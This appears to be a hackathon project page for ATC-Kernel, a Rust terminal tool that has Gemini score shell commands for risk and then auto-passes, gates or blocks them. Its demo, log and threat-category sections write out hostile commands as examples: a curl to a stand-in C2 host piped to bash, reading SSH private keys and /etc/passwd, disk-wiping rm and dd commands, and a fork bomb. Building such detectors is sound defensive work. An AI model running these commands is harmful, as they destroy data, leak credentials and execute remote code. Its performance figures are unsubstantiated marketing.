System Active
CMUX x AIM Hackathon
$

ATC-Kernelv0.1

AI-powered pre-execution command interceptor

Analyzes every shell command before it runs and blocks threats in real time

Shell HistoryInterceptorGemini AIScore 0-100
Watch Demo
Scroll

Live Status Monitor

ACTIVE
Last Intercepted Command
$ ls -la /home/userScore: 23

Current Risk Level

23SAFE
0-29
30-75
76-100

Score History (Last 30 Commands)

7630

Dot = current score. Color = risk level.

Session Statistics

Analyzed
127
Approved
89
Blocked
31
Halted
7

Recent Command Log

2s ago$ cat ~/.ssh/id_rsa92
5s ago$ rm -rf /tmp/cache45
8s ago$ echo $PATH8

Score-Based Threat Routing

Three-tier response system based on Gemini AI risk analysis

SAFEScore 0 - 29

Auto-pass with logging. Normal operations within safe boundaries.

Logged silently
No user interruption
Standard execution allowed
Example: ls /tmp → score 20
SUSPICIOUSScore 30 - 75

Human-in-the-loop gate. Y/N approval popup waits for user decision.

Centered Y/N popup displayed
Execution paused until decision
Safe alternative suggested by AI
Example: cat /etc/passwd → score 50
CRITICALScore 76 - 100

Full-screen red block overlay. Execution halted immediately.

[EXECUTION HALTED] displayed
Full-screen block overlay
Press 'r' to acknowledge and resume
Example: curl c2.evil.com/sh.py | bash → score 90

Threat Categories

Gemini AI classifies commands into 5 threat categories with safe alternatives

SENSITIVE_DATA

Reading credentials, PII, or protected system files

cat /etc/passwd
reading .ssh/id_rsa
accessing credentials
SYSTEM_DESTRUCTION

File or resource destruction commands

rm -rf /
dd if=/dev/zero of=/dev/sda
UNAUTHORIZED_ACCESS

Privilege escalation or unauthorized access attempts

sudo -i
privilege escalation chains
MALICIOUS_NETWORK

C2 server connections, data exfiltration, remote code execution

curl ... | bash
reverse shells
C2 beacons
RESOURCE_EXHAUSTION

Fork bombs, infinite loops, resource depletion

:(){ :|:& };:
disk-fill loops
💡
SAFE_ALTERNATIVE

Every blocked command surfaces a Safe Alternative — a concrete, safer replacement command generated by the AI.

Ratatui TUI Interface

Real-time terminal UI with 100ms tick rate rendering

ATC-KERNEL v0.1
INTERCEPTOR: ACTIVE
ATC-KERNEL
GEMINI KEYOK
HISTORY~/.zsh_history
Risk Score42
Statistics
Analyzed12
Approved5
Blocked4
Halted3
Risk Score Trend
Risk Gauge
42%
AI Command Log
[12:34:01][INFO ][SENSITIVE_DATA]20ls /tmp
[12:34:04][WARN ][SENSITIVE_DATA]50cat /etc/passwd
[12:34:10][ALERT][MALICIOUS_NETWORK]90curl c2.evil.com | bash
LOG: ./atc.logHIST: ~/.zsh_historySUSPICIOUS: 30-75 | CRITICAL: 76+

Keyboard Controls

dLaunch / abort demo scenario
yAllow suspicious command
nBlock suspicious command
rAcknowledge critical block
qQuit application

Demo Mode

Press d to run a built-in 3-step scenario:

20ls /tmpAuto-pass
50cat /etc/passwdY/N popup
90curl c2.evil.com | bashBlocked

Technology Roadmap

Progressive enhancement from userspace polling to kernel-level interception

v1CURRENT

File-tail Interceptor

Polls ~/.zsh_history every 300ms via filesystem seek

Backend: cmux_interceptor_v1
Analysis: Gemini v1beta REST API (gemini-2.0-flash)
Latency: ~800ms (poll 300ms + Gemini RPC 500ms)
Shell → ~/.zsh_history → 300ms poll → Gemini REST → score → TUI
v2

cmux SDK Integration

Local command multiplexer via PTY layer with zero-copy ring buffer

Target latency: < 50ms
No filesystem polling
Commands arrive via IPC before history write
Shell → cmux SDK hook → ring-buffer → local model → score → TUI
v3

eBPF execve Kprobe

BPF program attached to execve syscall — true pre-execution gate at OS level

Target latency: < 1ms
Shell-agnostic — works for any process spawn
score ≥ 76 → SIGKILL from kernel
execve() → BPF kprobe → risk score → SIGKILL or allow
trait

Interceptor Trait — Architectural Backbone

Every backend — REST API, local model, or eBPF — implements the same interface. Swapping backends requires no changes to the risk routing logic, TUI, or event pipeline.

pub trait Interceptor: Send {async fn analyze(&self, command: &str) -> Result<GeminiResponse>;}

WhyRust?

Systems-level performance with memory safety guarantees

Memory Safety

Zero-cost ownership model eliminates buffer overflows, use-after-free, and data races at compile time.

rust//fn secure_access(&self) -> &Data

Zero-Cost Abstractions

High-level patterns compile to optimal machine code. No runtime overhead for safety guarantees.

rust//impl Iterator for Events

eBPF Extensibility

Native kernel-level tracing and monitoring. Real-time syscall interception without kernel modules.

rust//attach_kprobe!(sys_write)
0
Memory Leaks
<1ms
Avg Response
99.9%
Uptime
Scalability